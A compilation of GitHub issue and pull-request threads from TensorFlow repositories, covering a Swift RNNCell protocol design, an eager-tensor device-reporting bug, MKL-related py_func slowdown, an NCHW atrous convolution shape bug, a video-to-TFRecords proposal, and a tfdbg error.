@tanmayb123 I think he means a simple rnn cell, used in char RNNs and other such recurrent networks. While LSTMs mostly were designed to handle long term dependencies practically.
The four update equations for an rnn would be :

While in the LSTM you have different kinds of gates, which act as a memory unit.

For futrther resources, maybe you can look here and here.
Char RNNs are very much still in fashion in my opinion.
@eaplatanios but it probably makes more sense to add it in a seperate PR.

I agree that Simple RNNs should be implemented (I could include that in this PR), but @eaplatanios was probably referring to an RNNCell protocol that all RNN Cells (i.e. LSTM/GRU/SimpleRNN) would conform to.

I probably won't have time to review this or make suggestions until late evening.

Here's a sketch:
public struct RNNInput<StepInput: Differentiable, State: RNNState>: Differentiable {
    public var stepInput: StepInput
    public var previousState: State
    public init(stepInput: StepInput, previousState: State) {
        self.stepInput = stepInput
        self.previousState = previousState
    }
}

public struct RNNState<CellState: Differentiable, HiddenState: Differentiable>: Differentiable {
    public var cell: CellState
    public var hidden: HiddenState
    public init(cell: CellState, hidden: HiddenState) {
        self.cell = cell
        self.hidden = hidden
    }
}

public protocol RNNCell: Layer
    where Input == RNNInput<StepInput, State>, Output == RNNState<CellState, HiddenState> {
    associatedtype StepInput: Differentiable
    associatedtype CellState: Differentiable
    associatedtype HiddenState: Differentiable
    typealias State = Output

    init(inputSize: Int, hiddenSize: Int)
    var zeroState: State { get }
}

public extension RNNCell {
    @differentiable
    func applied(to stepInput: StepInput, _ previousState: State) -> State {
        return applied(to: Input(stepInput: stepInput, previousState: previousState))
    }
}

Love the sketch, Richard - thanks :)
Quick question: only LSTMs have a "cell state". Others, like GRU and SimpleRNN only have a "hidden state". Therefore, their "state" wouldn't be a struct, rather just a single Tensor. That's why I was a bit confused on how to create that protocol.

Sorry I wasn't able to respond earlier because I've been kept busy. I was thinking of something a bit more abstract where RNNState does not need to consist of two parts but is rather a generic type itself (called just State should be fine), as it can vary between different RNN cells.

Yeah, the cell state is definitely weird. I think that part may not need a fixed structure, like @eaplatanios said it can just be a generic type.
public struct RNNInput<StepInput: Differentiable, State: Differentiable>: Differentiable {
    public var stepInput: StepInput
    public var previousState: State
    public init(stepInput: StepInput, previousState: State) {
        self.stepInput = stepInput
        self.previousState = previousState
    }
}

public protocol RNNCell: Layer where Input == RNNInput<StepInput, State> {
    associatedtype StepInput: Differentiable
    typealias State = Output

    init(inputSize: Int, hiddenSize: Int)
    var zeroState: State { get }
}

public extension RNNCell {
    @differentiable
    func applied(to stepInput: StepInput, _ previousState: State) -> State {
        return applied(to: Input(stepInput: stepInput, previousState: previousState))
    }
}

I'm going to check the protocol in. If you can make these new layers work with the new protocol, that'd be really great!

I'll do that shortly - thanks Richard!

Hi @tanmayb123, we are preparing a Swift for TensorFlow v0.3 release this Wednesday. Would you like to update this PR and check it in so that it can be part of the release?

Sure thing Richard, working on that now. Quick concern that I didn't notice before: RNNCellOutput has both an Output and State, but that's a bit problematic for the cells since they don't have any outputs per time-step - their output is the state. What should I do in that case? Should I pass the new state to Output and State?

Should I pass the new state to Output and State?

Yes, that's the idea!

Great, working on that now.

BTW, the applied(to:) method no longer takes a Context.

ps hi tanmay! 🍀

It'd be great if you can add some tests.

I didn't see James's comment. Definitely address his concerns first :)

Also, related to this PR, I've opened #91 to see how to handle sequential inputs and keeping track of hidden states over time automatically.

The build is failing, but not on any of the Recurrent Cell code.

I'm going to merge it once tests pass.

Tests are failing because your branch is still old. Could you pull and merge?

Sure thing.

Merged. Thanks for iterating on this!

Of course :)

authors: Shashi456 brettkoonce dan-zheng eaplatanios rxwei tanmayb123

repo: tensorflow/swift-apis


text:
Move TransformerDemo into Examples

Move the remaining code in the Transformer folder into Examples. This could go either in Examples/GPT2-WikiText2 or a new folder along the lines of Examples/GPT2-Generation.

I started speculating on some renaming in the Readme within PR #377, to bring it closer in line with the GPT2 training model. Agreed that "Transformer" sounds a little too generic now and that it would be nice to continue consolidating examples.

authors: BradLarson texasmichelle

repo: tensorflow/swift-models


text:
Eager tensors always report being on CPU Device despite documentation

I'm playing with https://www.tensorflow.org/swift/tutorials/introducing_x10. Both locally and on Colab, the eager tensor shows up on the CPU. The text says If you are running this notebook on a GPU-enabled instance, you should see that hardware reflected in the device description above.
Even if I try to force it to the GPU, it seems to stay on the CPU:
let eagerGPU = Device(kind: .GPU, ordinal: 0, backend: .TF_EAGER)
let eagerTensor1 = Tensor([0.0, 1.0, 2.0], on: eagerGPU)
let eagerTensor2 = Tensor([1.5, 2.5, 3.5], on: eagerGPU)
let eagerTensorSum = eagerTensor1 + eagerTensor2
eagerTensor1.device

Output:
▿ Device(kind: .CPU, ordinal: 0, backend: .TF_EAGER)
  - kind : TensorFlow.Device.Kind.CPU
  - ordinal : 0
  - backend : TensorFlow.Device.Backend.TF_EAGER

So I'd say there may be 2 bugs here:

Either the documentation is wrong and eager tensors are only supposed to be able to use the CPU, or the documentation is right and code is buggy and doesn't use the GPU, and
If the documentation is wrong, creating a tensor with an eager GPU should fail rather than silently run on the CPU.

I believe this is due to a bug in the way that eager tensors report their device location. The eager tensors have their operations dispatched on the default accelerator, but always report themselves as being located on the CPU. If you run operations using them on your local machine, you can verify that they're running on the GPU by monitoring GPU activity via nvidia-smi or similar tools.
Likewise, eager tensors currently ignore the device you specify for them, so if you tell them to run on the CPU when there's a GPU available, they'll still run on the GPU.
X10 tensors are accurate in reporting which device they're attached to, as well as respecting manual device placement, just not eager tensors.

It looks like this line is always returning the CPU device. I'll figure out how to surface the actual device being used.

Once swift-apis#1156 is merged, TFE_TensorHandleDeviceType and TFE_TensorHandleDeviceID will be available, making this a straightforward fix.

Tentative changes here.

I ran into a problem adding eager/c_api_experimental.h since it contains C++ syntax in the initialization of the TFE_CustomDevice struct.
/home/michellecasbon/repos/out/libtensorflow-prefix/src/libtensorflow/tensorflow/c/eager/c_api_experimental.h:446:14: error: expected ';' at end of declaration list
  int version = TFE_CUSTOM_DEVICE_VERSION;
             ^

It's unclear how to get around this without pursuing custom import rules or modifying upstream.

authors: BradLarson garymm texasmichelle

repo: tensorflow/swift


text:
Py_func call slows down scipy

System information

Have I written custom code (as opposed to using a stock example script provided in TensorFlow): yes
OS Platform and Distribution (e.g., Linux Ubuntu 16.04): Ubuntu 14.04.4 and MacOS 10.12.4 are affected
TensorFlow installed from (source or binary): tried both, reproduces on both
TensorFlow version (use command below): 1.0.1 and 1.1.0
Bazel version (if compiling from source):
CUDA/cuDNN version:
GPU model and memory: both on Tesla K80 and on CPU version
Exact command to reproduce: https://nbviewer.jupyter.org/urls/dl.dropbox.com/s/z19wv70ogo15xg0/eigh speed bug.ipynb

Output of the enviromental script: https://pastebin.com/qdi8tJRV
Describe the problem
Calling np.lianlg.svd via tf.py_fun forces scipy.linalg.eigh to become slower for some reason (4x slower on a server and 1.5x slower on my laptop). Here is the line that causes problems:
ret = tf.py_func(np.linalg.svd, [np.random.randn(2, 300)], [tf.float64, tf.float64, tf.float64])
%timeit sess.run(ret)

Before this line scipy.linalg.eigh used CPU for 2400% and worked in 13ms, after it it uses CPU for 600% and works in 43ms.
Source code / logs
https://nbviewer.jupyter.org/urls/dl.dropbox.com/s/z19wv70ogo15xg0/eigh speed bug.ipynb

I couldn't reproduce it
I added the following to top of https://github.com/yaroslavvb/stuff/blob/master/svd_benchmark.py and ran it as svd_benchmark.py eigh and observed the same time.
import tensorflow as tf
sess = tf.Session()
ret = tf.py_func(np.linalg.svd, [np.random.randn(2, 300)], [tf.float64, tf.float64, tf.float64])
for i in range(10): sess.run(ret)

py_func runs the function provided in the main Python interpreter, so a simpler repro would be to run np.linalg.svd directly rather than through py_func.
Also numpy backend may matter here, you can check with python -c 'import numpy; numpy.__config__.show()'

OK, I can reproduce it. It seems some weird interaction between TensorFlow and MKL.
Calling linalg.svd from inside py_func makes subsequent calls to eigh about 10% slower when you use MKL, but no effect in default BLAS
https://github.com/yaroslavvb/stuff/blob/master/github_pyfunc_slowness.py
Not sure why that would happen...perhaps the svd call in MKL ends up changing some defaults used by eigh? cc @vivek-rane since he seems to know about MKL

authors: Bihaqo yaroslavvb

repo: tensorflow/tensorflow


text:
Channel number of convolution output is unspecified when atrous rate > 1

Python 2.7
Tensorflow v1.2.0-rc2-21-g12f033d and v1.3.0-rc1-2361-gd1286ab
Easily reproduced by the following code:
x = tf.placeholder(tf.float32, [1, 10, None, None])
w = tf.zeros([3, 3, 10, 20])
y = tf.nn.convolution(x, w, 'VALID', [1]*2, [2]*2, data_format='NCHW')
print(y)

The input has known channel number but unknown width and height, in NCHW format. The convolution has rate >= 2. The channel number of the output y is obviously known, (1, 20, None, None) in this example, depending on the shape of w. However the execution result gives
Tensor("convolution/BatchToSpaceND:0", shape=(1, ?, ?, ?), dtype=float32)

I believe this is related to the reshaping operation in the atrous convolution. The issue happens only when the spatial shape is unknown and with NCHW format. Not sure if this happens to the latest version.

It is reproduced on nightly version.
In [1]: import tensorflow as tf

In [2]: tf.__version__
Out[2]: '1.5.0-dev20171019'

In [3]: %paste
x = tf.placeholder(tf.float32, [1, 10, None, None])
w = tf.zeros([3, 3, 10, 20])
y = tf.nn.convolution(x, w, 'VALID', [1]*2, [2]*2, data_format='NCHW')
print(y)

## -- End pasted text --
Tensor("convolution/BatchToSpaceND:0", shape=(1, ?, ?, ?), dtype=float32)

The bug seems from here, since [batch_to_space_nd](https://www.tensorflow.org/versions/master/api_docs/python/tf/batch_to_space_nd) cannot handle the case correctly:
https://github.com/tensorflow/tensorflow/blob/d7409d32bba5ffa89141ec5427780f68a3b6942d/tensorflow/python/ops/nn_ops.py#L487-L495

Since space_to_batch_nd assumes that input_shape = [batch] + spatial_shape + remaining_shape, hence paddings is hacked as the tensor [zeros, paddings] to handle NC format. Since the value of tensor is hidden by itself, that's why we lost num_input_channels information in space_to_batch_nd.
https://github.com/tensorflow/tensorflow/blob/d7409d32bba5ffa89141ec5427780f68a3b6942d/tensorflow/python/ops/nn_ops.py#L485-L492
There are two solutions for the bug in my opinion:

use reshape to rewrite the correct num_input_channels at the last when data_format is not None and data_format.startswith("NC") and not result_converted.shape[1].value. Pretty easy. I can work on it if agreed.
modified space_to_batch_nd to handle channle_at_the_first case. Perhaps difficult.

Which one is better? Or other alternative solution? Thanks.

For me, at application level I simply do
nout = ...
format = 'NCHW'
y = tf.nn.convolution(x, ..., data_format=format)
if format == 'NCHW':
    y.set_shape([None, nout, None, None])

@ebrevdo WDYT? Should we encourage a contribution?

The convolution function can call an appropriate set_shape in this special case.  Contributions welcome.

Hi, @vs-zhehangd . I get a cold, would you like to take over the issue? The fix is pretty easy as you suggested, however, we'd better create a nn_ops_test.py and write more unit tests. It's not difficult, but perhaps a little cumbersome for new contributor. Thanks.

Ok, let me take a look and see how to do it.
On Sun, 22 Oct 2017 at 2:23 AM Yan Facai (颜发才) notifications@github.com
wrote:

Hi, @vs-zhehangd https://github.com/vs-zhehangd . I get a cold, would
you like to take over the issue? The fix is pretty easy as you suggested,
however, we'd better create a nn_ops_test.py and write more unit tests.
It's not difficult, but perhaps a little cumbersome for new contributor.
Thanks.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
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or mute the thread
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.

There are conv unit tests in kernel_tests.
On Sun, Oct 22, 2017, 2:25 AM vs-zhehangd notifications@github.com wrote:

Ok, let me take a look and see how to do it.
On Sun, 22 Oct 2017 at 2:23 AM Yan Facai (颜发才) notifications@github.com
wrote:

Hi, @vs-zhehangd https://github.com/vs-zhehangd . I get a cold, would
you like to take over the issue? The fix is pretty easy as you suggested,
however, we'd better create a nn_ops_test.py and write more unit tests.
It's not difficult, but perhaps a little cumbersome for new contributor.
Thanks.
—
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Reply to this email directly, view it on GitHub
<
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,
or mute the thread
<
https://github.com/notifications/unsubscribe-auth/Acfm2WIvGFGXL9_IwpSNlIIKJBMjlCZ4ks5suwl-gaJpZM4QBDL4
.

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@vs-zhehangd Hi, how's it going? Do you need help, or let me take it back?

@facaiy  I found that I couldn't find a good time to deal with this problem. Probably it is better to return this to you. Sorry for the inconvenience.

OK. Don't worry :-)

authors: drpngx ebrevdo facaiy vs-zhehangd


text:
raw video files to tfrecords (code integration)

Since I had to address the issue of converting large (and many) raw RGB video files (e.g. .avi, .mp4 etc.) into tfrecords for threaded/QueueRunner training during a research project in the past, I was wondering if my resulting code [1] could be of any help to the TensorFlow community. If not, I would make a feature request and possibly participate or support the implementaton.
When I had to address this at an early stage of my project, I couldn't find any useful implementations. This seems to have remained unchanged as of now.
[1] https://github.com/ferreirafabio/video2tfrecords
Thanks in advance.
System information

Have I written custom code (as opposed to using a stock example script provided in TensorFlow): Yes
OS Platform and Distribution (e.g., Linux Ubuntu 16.04): Linux Ubuntu 16.04, macOS Sierra 10.13.1
TensorFlow installed from (source or binary): binary
TensorFlow version (use command below): v1.4.0-rc1-11-g130a514 1.4.0
Python version: 3.6
Bazel version (if compiling from source): -
GCC/Compiler version (if compiling from source): -
CUDA/cuDNN version: I use the CPU version
GPU model and memory: -
Exact command to reproduce: -

@mrry, could you comment on this feature request?

hi, any news?

I'm not sure what the feature request is. Can you please clarify?
It would be great to add better support for handling common video formats, and it's possible that integrating tf.data would make it easier (e.g. by providing a way to extract frames from a video directly, without transcoding to TFRecords).

I was thinking about providing a pipeline that receives common video formats as input and produces tfrecords as output. Some parameters (e.g. frames per batch sample, color-depth etc.) could allow for adjusting the data usage/efficiency when calling a transcoding method.
Relating to your statement, I believe there certainly should be a way of directly feeding frames from raw video formats into the computation graph. However, I think both solutions (with and without tfrecords) target different use-cases. For example, one wants to make use of queue runners / memory front-loading and multi-threading which, based on my (mediocre) TensorFlow knowledge, is better served with tfrecords. Or am I underestimating something?

@mrry

@mrry

I'd appreciate your comment @mrry

Example code is useful, but in the interests of keeping the core repository small, it's something we don't typically merge into the core. My general rule for this is: "If it can be built entirely using public APIs, and there is no performance downside to doing so, it doesn't need to be in the repository."
As I mentioned above, if there is some augmentation to tf.data that makes it easier to work with video, I'd be interested in that. I think you might be confused about the roles of TFRecords and tf.data: TFRecords is simply a data format, and tf.data is a library for reading data in many formats, including TFRecords. tf.data can perform multithreaded and pipelined reads of many different formats, including TFRecords, but potentially also including various video formats.

That sounds like it could be useful! I'll pass you on to @wolffg, who oversees tensorflow.org, and might have an answer.

I'd appreciate your comment @wolffg

I'd appreciate your comment @wolffg. Thank you

@ferreirafabio   I think your code is at early stage? a lot of hard coding.

@scotthuang1989 Absolutely! I quote the readme:
This implementation was created during a research project and grew historically. Therefore, we invite users encountering bugs to pull-request a correction.
To be honest, I don't know what you're implying. I don't think stating the condition of the repository is an argument for why it isn't helpful to other people.

I don't imply anything.  I have some similar modules to generate tfrecords from dataset. I am in the process of improving them.  I just read your code and ask a question...

We are going to be revising the community pages in 2018.  Until then, we don't really have a spot for repos like this outside of community/welcome.md, which will likely be changed as part of the revamp and is not altogether very visible right now.
A way to boost visibility for this solution is to ask and answer a Stack Overflow question about it, which has good search ranking.
I'm closing this, as I think @mrry answered the original question (we are unlikely to absorb this code into the main repo).  The other issue, about finding a visible home for links to community repos, is on our roadmap already.  Thanks!

authors: aselle ferreirafabio mrry scotthuang1989 wolffg


text:
Tensorflow Debug tfdbg ValueError with combined loss functions.

System information

Have I written custom code (as opposed to using a stock example script provided in TensorFlow): Yes. Included
OS Platform and Distribution (e.g., Linux Ubuntu 16.04): Windows 10 Home x64, 1709
TensorFlow installed from (source or binary): binary (pip3)
TensorFlow version (use command below):  1.4.0
Python version:  3.5.2
Exact command to reproduce: See source code.

Describe the problem
When attempting to combine two loss functions, tfdbg fails to properly grab the gradients due to a ValueError when executing run.
Source code / logs
consolelog.txt Log of the error.
not_working.txt Code example that generates the error.
working.txt Code example where the two loss functions are split that does not generate the error.

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authors: tensorflowbutler zazabar